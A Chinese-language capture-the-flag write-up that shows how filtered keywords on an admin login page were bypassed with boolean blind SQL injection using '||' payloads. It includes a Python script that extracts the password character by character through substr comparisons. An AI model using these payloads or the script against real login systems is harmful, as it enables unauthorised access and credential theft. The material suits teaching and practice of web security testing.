1.后台
浏览了一下网页发现好像是个静态的,看robots.txt也没东西。随手试了一下admin结果进了一个登陆的界面。。。。运气真的ok。
随手登陆一下抓包。发现POST两个参数u&p。经过尝试,发现存在三种回显,密码错误,账号或密码错误,我要报警了,如果用单引号的话存在报错回显。
fuzz了一下,发现=,or,union,select,insert,update等敏感字符均被过滤。
2.bool盲注
虽然过滤了很多字符,但是没有过滤关键的’,所以,我们还是可以注入滴。union被过滤了但是有报错回显,这里我们可以bool盲注。虽然这里and,or都过滤了,我们可以使用||来代替or来实现一个bool的盲注。
使用payload:u='||'a'<'b'||'&p=1
回显密码错误,因为’a’<'b’始终成立所以这里默认我们的账号正确了,使用u='||'a'>'b'||'&p=1
回显账号/密码错误。
通过这,我们可以构建payload:u='||length(p)<1||'&p=1
来猜测p字段的长度。经过手动。。。。发现长度为17。
接下来就是一个字符一个字符的猜测,这里手动不了了,写个jio本。
import requests
import re
url='http://ea435a5c-4332-4858-b1d5-17b12c3d38e5.challenge.ctf.show/admin/checklogin.php'
pp=[]
flag=''
for i in range(97,123):#生成字母列表
pp.append(chr(i))
for i in range(1,18):
for j in range(len(pp)):
payload="'||substr(p,{},1)<'{}".format(i,pp[j])
data = {
'u': payload,
'p': 1
}
res = requests.post(url=url, data=data)
if "密码错误" == res.text:
flag += pp[j-1]
print(flag)
break
跑一发,成功拿到密码,登陆!
登陆之后直接拿到flag了。